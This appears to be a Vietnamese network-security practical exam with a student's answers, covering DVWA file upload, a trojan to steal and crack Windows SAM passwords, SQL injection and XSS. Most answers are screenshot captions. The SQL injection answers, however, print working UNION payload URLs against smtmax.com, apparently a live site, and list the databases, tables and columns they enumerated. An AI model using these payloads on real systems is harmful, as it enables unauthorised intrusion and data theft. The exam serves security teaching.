**Đề thi thực hành**

**AN NINH MẠNG**

1. File uploaded (DVWA – Security HIGH) (total 2đ)

2. Tạo trojan để control máy nạn nhân (1đ) → lấy file SAM (1đ) → crack password user administrator (1đ) – (total 3đ)

3. SQL Injection (total 4đ)

3.1. Bypass Authentication page: http://testfire.net/login.jsp (1đ)

3.2. Link: https://www.smtmax.com/category.php?id=2 (3đ)

• Databases ? (1đ)

• Tables ? (1đ)

• Column ? (1đ) (chỉ cần chọn 1 table và liệt kê các column trong table đã chọn)

4. Reflected Cross Site Scripting (XSS) http://testfire.net/ (total 1đ)

**Bài giải**

2. Tạo trojan để control máy nạn nhân (1đ) → lấy file SAM (1đ) → crack password user administrator (1đ) – (total 3đ)

A screen shot of a computer

Description automatically generated

A black dragon with long tail

Description automatically generated with medium confidence

A screenshot of a computer

Description automatically generated

**A computer screen shot of a computer

Description automatically generated**

**A screen shot of a computer

Description automatically generated**

**A computer screen shot of a computer code

Description automatically generated**

4. Reflected Cross Site Scripting (XSS) http://testfire.net/ (total 1đ)

A screenshot of a computer

Description automatically generatedA screenshot of a computer

Description automatically generated

3.1. Bypass Authentication page: http://testfire.net/login.jsp (1đ)

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

1. File uploaded (DVWA – Security HIGH) (total 2đ)

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

3.2. Link: https://www.smtmax.com/category.php?id=2 (3đ)

• Databases ? (1đ)

**Databases**:

<https://www.smtmax.com/category.php?id=-2%20UNION%20ALL%20SELECT%201,2,unhex(hex(group_concat(schema_name))),4,5,6,7,8,9,10,11,12,13,14%20FROM%20information_schema.schemata-->

Nhận được danh sách các cơ sở dữ liệu có trên server, bao gồm:

* information\_schema
* smtmax8\_smtmax
* smtmax8\_osc0856

A screenshot of a computer

Description automatically generated

• Tables ? (1đ)

<https://www.smtmax.com/category.php?id=-2+UNION+ALL+SELECT+1,2,unhex(hex(group_concat(table_name))),4,5,6,7,8,9,10,11,12,13,14%20FROM%20information_schema.tables%20WHERE%20table_schema=database(%20)-->

* cms\_category
* cms\_info
* cms\_movie
* cms\_news
* cms\_products
* products

A screenshot of a computer

Description automatically generated

• Column ? (1đ) (chỉ cần chọn 1 table và liệt kê các column trong table đã chọn)

Chọn 1 table : cms\_info

<https://www.smtmax.com/category.php?id=-2+UNION+ALL+SELECT+1,2,unhex(hex(group_concat(column_name))),4,5,6,7,8,9,10,11,12,13,14%20FROM%20information_schema.columns%20WHERE%20table_name=CHAR(99,109,115,95,105,110,102,111)-->

Kết quả liệt kê các cột trong bảng cms\_info:

* id
* title
* content

A screenshot of a computer

Description automatically generated